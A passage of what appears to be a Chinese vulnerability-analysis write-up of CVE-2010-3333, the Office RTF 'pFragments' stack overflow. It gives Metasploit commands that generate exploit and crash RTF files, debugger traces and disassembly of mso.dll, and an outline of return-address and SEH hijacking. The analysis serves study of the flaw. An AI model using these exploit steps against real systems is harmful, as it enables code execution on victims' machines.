这个漏洞还是《漏洞战争》中的例子,学东西还是要脚踏实地,一步一步学习。
 
0x00 漏洞描述   Microsoft Office是微软发布的非常流行的办公软件套件。CVE-2010-3333(微软编号:MS10-087 )是MicrosoftOffice XP SP3、Office 2003 SP3、Office 2007 SP2、Office 2010,MacOffice 2004和Office 2008,MacOffice 2011和Mac的Open XML文件格式转换器中的栈溢出漏洞。主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致攻击者可以借助特制的RTF数据执行任意代码,因此该漏洞又名“RTF栈缓冲区溢出漏洞”。
0x10 分析环境 
使用的环境 
备注 
 
 
操作系统 
Windows XP  
版本号:Windows XP Professional SP3 简体中文版  
 
虚拟机 
VMWare Workstations 
版本号:15.5.1 
 
调试器 
吾爱OllyDbg  
版本号:2016版  
 
反汇编器 
IDA Pro 
版本号:7.0 
 
漏洞软件 
Microsoft Office Word 
版本号1:Microsoft Office Professional 2003 SP3(11.8169.8172)  
 
 
0x20 漏洞复现 这里用msf来生成用于漏洞利用的exploit样本文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 1、Microsoft Office 2003 SP3 English on Windows XP SP3 English msf > search cve-2010-3333 msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  target 2 target => 2 msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  FILENAME CVE-2010-3333(target2,calc).rtf FILENAME => CVE-2010-3333(target2,calc).rtf msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  payload windows/exec   payload => windows/exec  msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  CMD calc.exe CMD => calc.exe msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'CVE-2010-3333(target2,calc).rtf'  file ... [+] CVE-2010-3333(target2,calc).rtf stored at /root/.msf4/local /CVE-2010-3333(target2,calc).rtf 2、Microsoft Office 2007 SP0 English on Windows 7 SP0 English msf > search cve-2010-3333 msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  target 5 target => 2 msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  FILENAME CVE-2010-3333(target5,calc).rtf FILENAME => CVE-2010-3333(target5,calc).rtf msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  payload windows/exec   payload => windows/exec  msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  CMD calc.exe CMD => calc.exe msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'CVE-2010-3333(target5,calc).rtf'  file ... [+] CVE-2010-3333(target5,calc).rtf stored at /root/.msf4/local /CVE-2010-3333(target5,calc).rtf 3、PoC(Crash) msf > search cve-2010-3333 msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  FILENAME CVE-2010-3333(target6,Crash).rtf FILENAME => CVE-2010-3333(target6,Crash).rtf msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set  target 6 target => 6 msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'CVE-2010-3333(target6,Crash).rtf'  file ... [+] CVE-2010-3333(target6,Crash).rtf stored at /root/.msf4/local /CVE-2010-3333(target6,Crash).rtf 
0x30 漏洞原理分析 0x31 RTF文件格式 1、RTF简介   RTF(Rich Text Format)是Microsoft公司为进行文本和图像信息格式的交换而指定的一种文件格式,它适用与不同的设备、操作环境和操作系统。大多数文字处理软件都可以读写某些版本的RTF。
2、RTF的组成 2.1、RTF的基本元素   标准RTF文件只能包含7位ASCII字符,但可以通过转义序列对超出ASCII范围的字符进行编码。由控制字(Control Word)、控制符(Control Symbol)和群组(Group)组成。由于RTF由7位ASCII字符组成,所以可以在大多数基于PC的操作系统之间轻松传输。与大多数明文文件不同,RTF文件不必包含任何回车/换行符(CRLFs),RTF解析软件应忽略CRLF,除非他们可以用作控制字分隔符。当CRLF出现在主要组边界时,RTF文件更具可读性。
1、控制字(Control Word)控制字是RTF用来标记打印控制符和管理文档信息的一种特殊格式的命令,RTF用它作为正文格式的控制代码,每个控制字均以一个反斜杠\开头,并且控制字区分大小写。ASCII字母序列由ASCII字母字符(a~z和A~Z)组成,控制字(也称为关键字)最初应该不包含任何大写字母,但是近年来,大写字母出现在一些较新的的控制字中,控制字的名称不能超过32个字母,而分隔符标志着控制字名称的结束。其格式为“\ASCII字母序列<分隔符>”。
<分隔符>可以使以下之一:
一个空格。这仅用于分隔控制字,在后续处理中将被忽略。一个数字或者ASCII减号(-),表示数字参数与控制字关联。随后的数字序列由ASCII数字(通常是以反斜杠开头的另一个控制字)以外的任何字符分隔。参数可以是正数或负数。该数字的值范围名义上为–32768至32767,即带符号的16位整数。少数控制字的取值范围是-2,147,483,648到2,147,483,647,即32位带符号整数。这些控制字包括\binN,\revdttmN,\rsidN相关的控制字以及一些图片属性,例如\bliptagN。这里N代表数字参数。 RTF解析器必须允许最多10位数字,并可选地在前面加上减号。如果定界符是空格,则将其丢弃,也就是说,它不会包含在后续处理中。除字母或数字外的任何字符。在这种情况下,分隔符终止控制字,而不是控制字的一部分。例如反斜杠“\”,表示后面跟着新的控制字或控制符。 
 
  如果用单个空格分隔控制字,则该空格不会出现在文档中(将被忽略)。单个空格分隔符后面的任何字符,包括任何后续空格,将在文档中显示为文本或空格。因此,应仅在必要时使用空格。建议避免使用空格作为分隔RTF语法的一种方法,以使其更易于阅读。您可以使用段落标记(CR,LF或CRLF)来分隔行,而无需更改含义,但包含\binN的目的地除外。
  在此文档中,采用数字参数N的控制字是用N来写的,如\binN所示,除非控制字以显式值出现。唯一的例外是\b(粗体切换)之类的“切换”控制字,它只有两种状态。当此类控制字没有参数或具有非零参数时,控制字将打开属性。当此类控制字的参数为0时,控制字将关闭该属性。例如,\b打开粗体,\b0关闭粗体。在这些切换控制字的定义中,控制字名称后跟一个星号“*”。
2、单位(Units)参数N通常指定尺寸。 RTF中用于尺寸的单位可以是点(pts),half pts,twips,Device-independent字单位,EMU或像素(pixels),具体取决于控制字。这些单位汇总在下表中:
Units 
Conversions 
 
 
Points(pts) 
72/inch 
 
Half points 
144/inch 
 
Twips 
1440/inch, 20/pt 
 
Device-independent 
294912/inch, 4096/pt 
 
EMUs 
914400/inch, 36000/mm, 12700/pt, 635/twip 
 
Pixels 
typically 96/inch 
 
 
  EMU(英制单位)用于某些图形参数尺寸(请参见\shp),像素(Pixels)用于某些位图和图元文件(metafile)尺寸。EMU的精确度为英寸(inch),毫米(mm),点(pts)和twips。 RTF中最常用的单位是twips。
3、控制符(Control Symbol)控制符由反斜杠和一个非字母字符组成。例如,\〜(反斜杠波浪线)表示一个不间断的空格。控制符没有分隔符,即控制符后面的空格被视为文本,而不是分隔符。
4、组(Group)一个组可以由包含在大括号({})内的文本,控制字或控制符组成。左括号({)表示组的开始,右括号(})表示组的结束。每个组指定受组影响的文本以及该文本的不同属性。RTF文件还可以包括字体、样式、屏幕颜色、图片、脚注、注释、页眉和页脚、摘要信息、域、书签,以及文档、区段、段落和字符格式属性,数学运算、图像和对象的组。如果文件中包含字体,文件,样式,颜色,修订标记和摘要信息组以及文档格式属性,则它们必须出现在RTF正文之前的RTF头中。如果未使用任何组的内容,则可以省略该组。以下各节讨论了这些组。使用另一个组中定义的属性的任何组都必须出现在定义这些属性的组之后。例如,颜色和字体属性必须在样式组之前。
5、目的地(Destinations)控制字(称为目的地)标记了相关文本集合的开始,这些文本可能出现在文档中的另一个位置或目的地。目的地位置也可能包含已使用但根本没有出现在文档中的文本。目的地的示例是\footnote组,其中脚注文本在控制字之后。分页符不能出现在目的地文本中。目的地控制字及其相关文本必须用大括号({})括起来。
  在1987 RTF规范之后添加的目的地,可以带有控制符\*(反斜杠星号)。如果RTF阅读器无法识别目的地控制字,则此控制符标识的目的地相关文本应被忽略。添加新的目的地或组时,RTF编写者应遵循使用此控制符的约定。即使RTF阅读器无法识别目的地,其相关文本也应插入文档中,而目的地不应使用\*。
  组中指定的大多数格式仅影响该组中的文本(包括该组中的嵌套组)。通常,组中的文本会继承外部组中的文本的格式。但是,RTF的Microsoft实现假定脚注,注释,页眉和页脚组(在本规范的后面部分介绍)不继承外部组的格式。因此,为确保正确格式化这些组,应使用\sectd,\pard和\plain控制字将这些组内的格式设置为适当的默认值,然后添加所需的格式。
  控制字,控制符和花括号构成控制信息。文件中的所有其他字符均为纯文本或数据。这是一个示例,其中包含内部组中不存在的纯文本:
{\rtf1\ansi\deff0\fonttbl {\f0\froman Tms Rmn;}{\f1\fdecor Symbol;}{\f2\fswiss Helv;}}\colortbl ;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;}\stylesheet {\fs20 \snext0 Normal;}}\info {\author John Doe}{\creatim\yr1990\mo7\dy30\hr10\min48}{\version1}{\edmins0}{\nofpages1}{\nofwords0}{\nofchars0}{\vern8351}}\pard \plain \fs20 This is plain text. \par}
 
  即使“This is plain text.”不是内部组的一部分,它包含在{\rtf1 ...}组中,因此是RTF文件主体的一部分。它受\pard命令指定的格式的约束。具体来说,\pard重置任何先前的段落格式,\plain重置任何先前的字符格式,并且\fs20将字体大小设置为20 half points,即10points。
  如前所述,反斜杠(\)和花括号({})在RTF中具有特殊含义。要将这些字符用作文本,请在其前面加上反斜杠,例如控制符“\\”,“\{”和“\}”。
2.2、RTF文件的内容   一个完整的RTF文件包括文件头<header>和文档区<document>两大部分,可以用下列语法表示。
1 <File> '{' <header> <document> '}' 
  通过RTF的文档目录,我们可以了解到文件头和文档区各自所包含的数据,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 Contents of an RTF file     Header(头)         RTF Version(RTF版本:\rtfN,N为RTF文档规范版本的主要版本)         Character Set(字符集:\ansi)         Unicode RTF(Unicode支持)         Default Fonts and Languages(默认字体和语言)         Theme Data(主题数据:\themedata)         Color Scheme Mapping(配色方案映射:\colorschememapping)         Font Table(字体表:\fonttbl)         File Table(文件表:\filetbl,当前文档含子文档时,会有这个表)         Color Table(颜色表:\colortbl,屏幕颜色、字符颜色和其他颜色信息)         Default Properties(默认属性:\*\defchp,\*\defpap)         Style Sheet(样式表:\stylesheet)         List Tables         Paragraph Group Properties(段落组属性:\pgptbl)         Revision Marks(修订标记:\*\revtbl)         User Protection Information(用户保护信息:\protusertbl)     Document Area(文档区域)         Information Group(信息组:\info,可以包括标题、作者、关键词、注释和其他特定于该文件的信息。)         Read-Only Password Protection(只读密码保护:\passwordhash,表示编辑给定RTF文档所需的密码。)         XML Namespace Table(XML命名空间表:\xmlnstbl)         Document Formatting Properties(文档格式属性:这些属性必须在文档中的第一个纯文本字符之前。)         Mail Merge(邮件合并指的是一种操作,通过这种操作,RTF文档与来自外部数据源的数据一起工作。)         Section Text(节文本)         Paragraph Text(段落文本)         Mathematics(数学运算)         Character Text(字符文本:包括字体格式属性,字符边界和阴影,字符修改标记属性,高亮显示,特殊字符)         Document Variables(文档变量:\docvar)         Bookmarks(书签:\*\bkmkstart,\*\bkmkend)         Protection Exceptions(\*\protstart,\*\protend)         Pictures(图片:\pict,RTF文件可以包含用其他应用程序创建的图片。)         Custom XML Tags()         Objects(对象:\object,对象是包含数据和结果的目的地。数据通常对生成文档的应用程序隐藏。)         Drawing Objects(绘图对象:绘图对象的主体被定义为一系列属性。控制字{\shp…后面跟着{\*\shpinst,然后是一个形状的所有属性列表。)         Footnotes(脚注:\footnote)         Comments (Annotations)(注释:RTF注释有两部分,作者ID(由控制字\atnid引入)和注释文本(由控制字\annotation引入);)         Fields(域:\field)         Index Entries(索引项:\xe控制字引入一个索引项。RTF中的索引项是目的地。)         Table of Contents Entries(目录条目:\tc,\tcn)         Bidirectional Language Support(双向语言支持:) 
0x32 定位漏洞点 1、XP & Office2003   首先打开WINWORD.exe,然后打开WinDbg,Attach上WINWORD.exe的进程,程序会自动中断在ntdll!DbgBreakPoint处,g运行程序,然后打开CVE-2010-3333(target6,Crash).rtf文件,程序会中断在MSO.dll的0x30ed442c处,此处就是触发异常的指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 0 :011 > gModLoad:  05450000  055f1000   C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad:  76f20000 76f28000   C:\WINDOWS\system32\WTSAPI32.DLLModLoad:  762d0000 762e0000   C:\WINDOWS\system32\WINSTA.dll(a44.628 ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and  handled. eax =0000c8ac ebx =05000000  ecx =00000022  edx =00000000  esi =1104c830 edi =00130000  <---eip =30ed442c esp =001237b4 ebp =001237ec iopl=0          nv up  ei pl nz na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00010206 *** ERROR: Symbol file could not  be found.  Defaulted to export symbols for C:\Program Files\Common  Files\Microsoft Shared\office11\mso.dll -  mso!Ordinal1246+0x16b0 : 30ed442c f3a5            rep  movs dword  ptr  es :[edi ],dword  ptr  [esi ] 0 :000 > !address edi Usage:                   MemoryMappedFileAllocation Base:        00130000  Base Address:           00130000  End Address:            00133000  Region Size:            00003000  Type:                    00040000 	MEM_MAPPEDState:                   00001000 	MEM_COMMITProtect:                 00000002 	PAGE_READONLY <---Mapped file name:       PageFile 0 :000 > lm v m msostart    end        module name 30c90000 3184c000   mso        (export symbols)       C:\Program Files\Common  Files\Microsoft Shared\office11\mso.dll     Loaded symbol image file: C:\Program Files\Common  Files\Microsoft Shared\office11\mso.dll     Image path: C:\Program Files\Common  Files\Microsoft Shared\office11\mso.dll     Image name: mso.dll     Timestamp:         Tue Jun 19  07 :53 :36  2007  (46771B00)    CheckSum:          00BB6E3C    ImageSize:         00BBC000    File version:     11.0 .8172 .0      Product version:  11.0 .8172 .0      File flags:       0  (Mask 3F)     File OS:          40004  NT Win32     File type:        2.0  Dll     File date:        00000000.00000000      Translations:      0000.04e4     CompanyName:       Microsoft Corporation    ProductName:       Microsoft Office 2003     InternalName:      MSO    OriginalFilename:  MSO.DLL    ProductVersion:    11.0 .8172     FileVersion:       11.0 .8172     FileDescription:   Microsoft Office 2003  component    LegalCopyright:    Copyright © 1983 -2003  Microsoft Corporation.  All rights reserved.
  根据调试器输出的信息,可以知道,这是一个异常在异常处理之前第一次发送给调试器,说明发生了一个异常。0x30ed442c处的指令可以看作是rep movsd,这条指令的作用是从源地址(esi)循环复制数据到目的地址(edi),每次复制一个dword。我们可以看到此时的目的地址(edi)为0x00130000,在32位Windows中,此地址应该是栈底,栈底之后的内存应该是不具有写权限的,所以这里发生了非法内存访问。通过“!address edi”命令,我们可以知道0x00130000地址处的内存只具有读权限。通过“lm v m mso”命令,我们可以得到MSO.dll模块相关信息,如加载基址。如果开启了ASLR,其加载基址每次都会不同,当然在Windows XP中是不会变的,Windows XP只支持PEB、TEB的ASLR,不支持映像的ASLR。
  经过这简单的分析,可以知道这个漏洞是MSO.dll中的一处栈溢出漏洞,由于未检测复制数据的长度,通过rep movsd指令循环复制内存数据到栈上,导致对0x00130000这个只读内存地址进行写数据,造成非法访问内存异常。
  我们对触发异常的指令的地址0x30ed442c下断点,其位于sub_30ED4406函数中,我们称其为CrashFun,通过栈回溯查看是哪个函数调用了sub_30ED4406函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 0 :010 > bp  30ed442c*** ERROR: Symbol file could not  be found.  Defaulted to export symbols for C:\Program Files\Common  Files\Microsoft Shared\office11\mso.dll -  0 :010 > gModLoad:  06740000  068e1000   C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad:  76f20000 76f28000   C:\WINDOWS\system32\WTSAPI32.DLLModLoad:  762d0000 762e0000   C:\WINDOWS\system32\WINSTA.dllModLoad:  5fdd0000 5fe25000   C:\WINDOWS\system32\NETAPI32.dllBreakpoint 0  hit eax =0000c8ac ebx =05000000  ecx =0000322b edx =00000000  esi =1104000c edi =001237dceip =30ed442c esp =001237b4 ebp =001237ec iopl=0          nv up  ei pl nz na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00000206 mso!Ordinal1246+0x16b0 : 30ed442c f3a5            rep  movs dword  ptr  es :[edi ],dword  ptr  [esi ] 0 :000 > kbChildEBP RetAddr  Args to Child               WARNING:  Stack unwind information not  available. Following frames may be wrong.001237ec 30f0b56b 00123958  00000000  ffffffff mso!Ordinal1246+0x16b0  0012381c 30f0b4f9 001239a4 00123958  00000000  mso!Ordinal1273+0x2581  <---- 00123a68 30d4d795 00000000  00123aa8 00000000  mso!Ordinal1273+0x250f  00123a90 30d4d70d 30d4d5a8 01c40b88 01c40bc0 mso!Ordinal5575+0xf9  00123a94 30d4d5a8 01c40b88 01c40bc0 01c40a70 mso!Ordinal5575+0x71  00123a98 01c40b88 01c40bc0 01c40a70 30dce40c mso!Ordinal4099+0xf5  00123a9c 01c40bc0 01c40a70 30dce40c 00000000  0x1c40b88  00123aa0 01c40a70 30dce40c 00000000  01c4084c 0x1c40bc0  00123aa4 30dce40c 00000000  01c4084c 00124854  0x1c40a70  00123aa8 00000000  01c4084c 00124854  00000000  mso!Ordinal2940+0x1588c  0 :000 > ub mso!Ordinal1273+0x2581 mso!Ordinal1273+0x256d : 30f0b557 23c1            and      eax ,ecx  30f0b559 50               push     eax  30f0b55a 8d47ff          lea      eax ,[edi -1 ] 30f0b55d 50               push     eax  30f0b55e 8b4508          mov      eax ,dword  ptr  [ebp +8 ] 30f0b561 6a00            push     0  30f0b563 ff750c          push     dword  ptr  [ebp +0Ch ] 30f0b566 e857000000      call     mso!Ordinal1273+0x25d8  (30f0b5c2) 
  通过栈回溯,我们可以知道CrashFun(sub_30ED4406)是在函数sub_30F0B5C2中调用的。重新调试,对sub_30F0B5C2函数下断点,从函数sub_30F0B5C2到溢出地址0x30ed442c开始单步调试(F10:步过,F8:步进),经过处理后的结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 .text: 30F0B544           loc_30F0B544                         .text: 30F0B544                                                .text: 30F0B544 8B 75  10                mov      esi , [ebp +arg_8].text: 30F0B547 83  65  FC 00             and      [ebp +var_4], 0 .text: 30F0B54B FF 75  14                push     [ebp +arg_C].text: 30F0B54E 8B C6                  mov      eax , esi .text: 30F0B550 F7 D8                  neg      eax .text: 30F0B552 1B  C0                  sbb      eax , eax .text: 30F0B554 8D  4D  FC               lea      ecx , [ebp +var_4].text: 30F0B557 23  C1                  and      eax , ecx .text: 30F0B559 50                      push     eax .text: 30F0B55A 8D  47  FF               lea      eax , [edi -1 ].text: 30F0B55D 50                      push     eax .text: 30F0B55E 8B 45  08                mov      eax , [ebp +arg_0].text: 30F0B561 6A 00                   push     0 .text: 30F0B563 FF 75  0C               push     [ebp +arg_4].text: 30F0B566 E8 57  00  00  00          call     sub_30F0B5C2 <-----.text: 30F0B56B 84  C0                  test     al , al     |       |     ↓       ↓ *************************************************************************************************     char __userpurge sub_30F0B5C2@<al >(int  a1@<eax >, int  a2, int  a3, int  a4, int  *a5, int  a6) ************************************************************************************************* .text: 30F0B5C2 55                      push     ebp                  .text: 30F0B5C3 8B EC                  mov      ebp , esp             .text: 30F0B5C5 83  EC 14                sub      esp , 14h             .text: 30F0B5C8 83  7D  18  00             cmp      [ebp +arg_10], 0      .text: 30F0B5CC 57                      push     edi                  .text: 30F0B5CD 8B F8                  mov      edi , eax             .text: 30F0B5CF 0F 84  1D  4C 18  00       jz       loc_310901F2        .text: 30F0B5D5 8B 4F 08                mov      ecx , [edi +8 ]        .text: 30F0B5D8 53                      push     ebx                  .text: 30F0B5D9 56                      push     esi                  .text: 30F0B5DA E8 C4 E8 E1 FF         call     sub_30D29EA3                    |       |             ↓       ↓     ***********************************************************************                     int  __thiscall sub_30D29EA3(_BYTE  *this)     ***********************************************************************     .text: 30D29EA3          sub_30D29EA3  proc near                   .text: 30D29EA3                                                   .text: 30D29EA3 56                      push     esi                      .text: 30D29EA4 8B F1                  mov      esi , ecx                 .text: 30D29EA6 57                      push     edi                      .text: 30D29EA7 8D  BE C0 00  00  00       lea      edi , [esi +0C0h ]         .text: 30D29EAD F6 07  01                test     byte  ptr  [edi ], 1        .text: 30D29EB0 74  09                   jz       short loc_30D29EBB      .text: 30D29EB2         loc_30D29EB2:                             .text: 30D29EB2 5F                     pop      edi                      .text: 30D29EB3 8D  86  C4 00  00  00       lea      eax , [esi +0C4h ]         .text: 30D29EB9 5E                     pop      esi                      .text: 30D29EBA C3                     retn                                     |       |             ↓       ↓ .text: 30F0B5DF FF 75  0C               push     [ebp +arg_4]         .text: 30F0B5E2 8B 70  64                mov      esi , [eax +64h ]      .text: 30F0B5E5 83  65  F8 00             and      [ebp +var_8], 0       .text: 30F0B5E9 8B 06                   mov      eax , [esi ]          .text: 30F0B5EB 8D  4D  F0               lea      ecx , [ebp +var_10]   .text: 30F0B5EE 51                      push     ecx                  .text: 30F0B5EF BB 00  00  00  05          mov      ebx , 5000000h        .text: 30F0B5F4 56                      push     esi                  .text: 30F0B5F5 89  5D  F4               mov      [ebp +var_C], ebx     .text: 30F0B5F8 FF 50  1C               call     dword  ptr  [eax +1Ch ] <----- [eax +1Ch ] = [0x30da33d8 +0x1c ] = [0x30da33f4 ] = 0x30ED4406 (虚函数地址).text: 30F0B5FB 8B 45  14                mov      eax , [ebp +arg_C]    |       |     ↓       ↓ *************************************************************     void __stdcall sub_30ED4406(int  a1, void *a2, int  a3) ************************************************************* .text: 30ED4406 57                      push     edi                  .text: 30ED4407 8B 7C 24  0C            mov      edi , [esp +4 +arg_4]  .text: 30ED440B 85  FF                  test     edi , edi             .text: 30ED440D 74  27                   jz       short loc_30ED4436  .text: 30ED440F 8B 44  24  08             mov      eax , [esp +4 +arg_0]  .text: 30ED4413 8B 48  08                mov      ecx , [eax +8 ]        .text: 30ED4416 81  E1 FF FF 00  00       and      ecx , 0FFFFh          .text: 30ED441C 56                      push     esi                  .text: 30ED441D 8B F1                  mov      esi , ecx             .text: 30ED441F 0F AF 74  24  14          imul     esi , [esp +8 +arg_8]  .text: 30ED4424 03  70  10                add      esi , [eax +10h ]      .text: 30ED4427 8B C1                  mov      eax , ecx             .text: 30ED4429 C1 E9 02                shr      ecx , 2               .text: 30ED442C F3 A5                  rep  movsd                                                                                    栈数据:                                                                 001237B4   01C40824 <-esp                                                                  001237B8   001239A4                                                                 001237BC   30F0B5FB  返回到 mso.30F0B5FB                                                                 001237C0   01C40824                                                                 001237C4   001237DC                                                                 001237C8   00000000                                                                  001237CC   00000000                                                                  001237D0   00000000                                                                  001237D4   00000000                                                                  001237D8   0000FF35                                                                 001237DC   FFFF0000 <-pFragments缓冲区起始地址                                                                 001237E0   05000000                                                                  001237E4   00000000                                                                  001237E8   0000FFFF                                                                 001237EC   0012381C <-ebp                                                                  001237F0   30F0B56B  返回到 mso.30F0B56B 来自 mso.30F0B5C2 
  根据调试的结果,我们可以知道,CrashFun(sub_30ED4406)是在函数sub_30F0B5C2中地址0x30F0B5F8处的指令调用的。最后一条指令是rep movsd,其从源地址(esi=0x1104000c)循环复制数据到目的地址(edi=0x001237dc),每次复制一个dword,复制数据的dword个数在ecx(0x322b)中,也就是0xc8ac字节。其实这个长度是源于样本数据的,它位于pFragements属性值的第3个字段,偏移8个字符后的4个字符即为复制数据的大小,如图:
  pFragements数据在栈上的缓冲区的起始地址为0x001237DC,而ebp为0x001237EC,其后就是函数sub_30ED4406的返回地址。由于PoC中的pFragements属性值的数据量过大,覆盖到不可写的内存地址导致异常,所以并没有去执行覆盖后的返回地址以及SEH异常处理函数(SEH链被破坏了)。根据MSO.dll模块函数的反汇编特征,可以看出,MSO.dll模块并没有开启GS。通过查看MSO.dll的IMAGE_OPTIONAL_HEADER中的DllCharacteristics字段,其并没有设置IMAGE_DLLCHARACTERISTICS_NX_COMPAT标志,可以知道MSO.dll并没有开启DEP,即使开启了DEP,在Windows XP SP3上也是没有效果的。
  所以我们可以将Shellcode直接布置在栈上,首先需要填充pFragments缓冲区起始地址到保存返回地址的栈地址之前的栈内存,是0x14字节,然后用jmp esp指令的地址覆盖返回地址,将Shellcode放置在返回地址的后面,就可以劫持程序执行流,执行任意代码。也可以通过覆盖返回地址之后的SEH异常处理函数的地址,劫持异常处理,获得程序的执行流。这些到后面漏洞利用章节再细细展开。
2、Win7&Office2007   首先打开WINWORD.exe,然后打开WinDbg,Attach上WINWORD.exe的进程,程序会自动中断在ntdll!DbgBreakPoint处,g运行程序,然后打开CVE-2010-3333(target6,Crash).rtf文件,程序会中断在MSO.dll的0x32cf3814处,此处就是触发异常的指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0 :010 > gModLoad:  3bd10000 3bea5000   C:\Program Files\Common  Files\Microsoft Shared\OFFICE12\OGL.DLLModLoad:  3fd00000 3fd0d000   C:\Windows\system32\WTSAPI32.DLL(d9c.4a8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and  handled. eax =3c524228 ebx =00000000  ecx =0011fdfc edx =00000000  esi =066a55e0 edi =0011ffb8eip =32cf3814 esp =0011fdb0 ebp =0011fdb0 iopl=0          nv up  ei pl nz na pe nccs =001b   ss =0023   ds =0023   es =0023   fs =003b  gs =0000              efl=00010206 *** ERROR: Symbol file could not  be found.  Defaulted to export symbols for C:\Program Files\Common  Files\Microsoft Shared\office12\mso.dll -  mso!Ordinal7356+0x1315 : 32cf3814 8b4804          mov      ecx ,dword  ptr  [eax +4 ] ds :0023 :3c52422c=???????? 0 :000 > !address 3c52422c              Failed to map Heaps (error 80004005 ) Usage:                   FreeBase Address:           3c413000 End Address:            3fd00000 Region Size:            038ed000 Type:                    00000000     State:                   00010000     MEM_FREEProtect:                 00000001     PAGE_NOACCESS
  我们通过!address命令查看触发异常的指令mov ecx,dword ptr [eax+4]所访问的内存地址0x3c52422c的相关信息,可以发现此地址是不具有访问权限的(PAGE_NOACCESS)。然后,我们需要追踪数据流。首先查看栈回溯:
1 2 3 4 5 6 7 8 9 10 11 12 0 :000 > kbChildEBP RetAddr  Args to Child               WARNING:  Stack unwind information not  available. Following frames may be wrong.0011fdb0 32e5944d 0011fdc4 41306141  05000000  mso!Ordinal7356+0x1315 (32cf3814当前指令地址)              ↑------------------------------------------↓ 0011fdcc 32e595bf 41306141  41386141  0011fdfc mso!Ordinal2605+0x326e (32e5944d)[mso!Ordinal7356+0x1308  (32cf3807)的返回地址]              ↑------------------------------------------↓ 0011fe04 37614136  41386141  62413961  31624130  mso!Ordinal2605+0x33e0 (32e595bf)[mso!Ordinal2605+0x323c  (32e5941b)的返回地址] 0011fe08 41386141  62413961  31624130  41326241  0x37614136  0011fe0c 62413961  31624130  41326241  62413362  0x41386141  0011fe10 31624130  41326241  62413362  35624134  0x62413961  ..... 
  触发异常的指令(0x32cf3814)所在函数是sub_32CF3807,其父函数为sub_32E5941B,由于栈已被破坏,所以无法再回溯。通过IDA及sub_32E5941B的返回地址(0x32e595bf),我们可以知道,sub_32E5941B的父函数是sub_32E5955E。通过对这几个函数详细分析,得到的结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 *************************************************************************************************     char __userpurge sub_32E5955E@<al >(int  a1@<eax >, int  a2, int  a3, int  a4, int  *a5, int  a6) ************************************************************************************************* .text: 32E5955E                 push     ebp                       .text: 32E5955F                 mov      ebp , esp                  .text: 32E59561                 sub      esp , 14h                  .text: 32E59564                 cmp      [ebp +arg_10], 0           .text: 32E59568                 push     edi                       .text: 32E59569                 mov      edi , eax                  .text: 32E5956B                 jnz      short loc_32E5957E       ......                           .text: 32E5957E                 mov      ecx , [edi +8 ]             .text: 32E59581                 push     ebx                       .text: 32E59582                 push     esi                       .text: 32E59583                 call     sub_327A2549             .text: 32E59588                 push     [ebp +arg_4]              .text: 32E5958B                 mov      esi , [eax +64h ]           .text: 32E5958E                 and      [ebp +var_8], 0            .text: 32E59592                 mov      eax , [esi ]               .text: 32E59594                 lea      ecx , [ebp +var_10]        .text: 32E59597                 push     ecx                       .text: 32E59598                 mov      ebx , 5000000h             .text: 32E5959D                 push     esi                       .text: 32E5959E                 mov      [ebp +var_C], ebx          .text: 32E595A1                 call     dword  ptr  [eax +1Ch ]              |       |         ↓       ↓     .text: 327C002C                 push     ebp                           .text: 327C002D                 mov      ebp , esp                      .text: 327C002F                 cmp      [ebp +Dst], 0                  .text: 327C0033                 jz       short 